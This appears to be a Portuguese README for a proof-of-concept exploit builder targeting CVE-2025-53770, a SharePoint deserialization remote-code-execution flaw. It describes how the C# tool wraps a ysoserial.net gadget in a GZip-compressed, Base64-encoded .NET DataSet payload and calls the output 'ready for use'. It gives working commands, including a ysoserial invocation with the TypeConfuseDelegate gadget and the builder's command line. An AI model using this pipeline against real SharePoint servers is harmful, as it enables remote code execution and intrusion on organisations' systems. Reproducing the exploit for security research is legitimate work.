OurSharePoint - CVE-2025-53770 (PoC)

Esta é uma ferramenta C# simples que constrói um payload DataSet .NET compactado com GZip e codificado em Base64, utilizando um payload interno codificado com LosFormatter. Foi concebida para ajudar a reproduzir a cadeia RCE de desserialização do SharePoint descrita em pesquisas públicas.

O que faz

Você fornece um payload codificado em Base64 (como um do ysoserial.net) e ele:

• Envolve-o dentro de um DataSet .NET válido com um esquema XML personalizado + diffgram
• Serializa o resultado usando BinaryFormatter
• Compacta o blob serializado com GZip
• Codifica o resultado em Base64 e escreve num ficheiro .b64

Referências

• https://research.eye.security/sharepoint-under-siege/
• https://github.com/rapid7/metasploit-framework/pull/20409/commits

Utilização

Primeiro, gere o seu payload usando ysoserial.net:

ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > nested_gadget.b64

Depois execute esta ferramenta:

OurSharePointBuilder.exe --in=nested_gadget.b64 --out=exploit --a=<random> --b=<random> --c=<random>

Isto irá gerar:

• exploit.bin - um DataSet serializado em bruto
• exploit.b64 - payload final compactado com GZip e codificado em Base64 pronto para uso

Além disso, se não especificar --a, --b ou --c, a ferramenta gera nomes aleatórios em minúsculas.

Notas

Esta ferramenta não valida ou inspeciona o payload que lhe fornece.

Se estiver a testar localmente e a desserializar manualmente, pode executar (por exemplo, abrir a calculadora).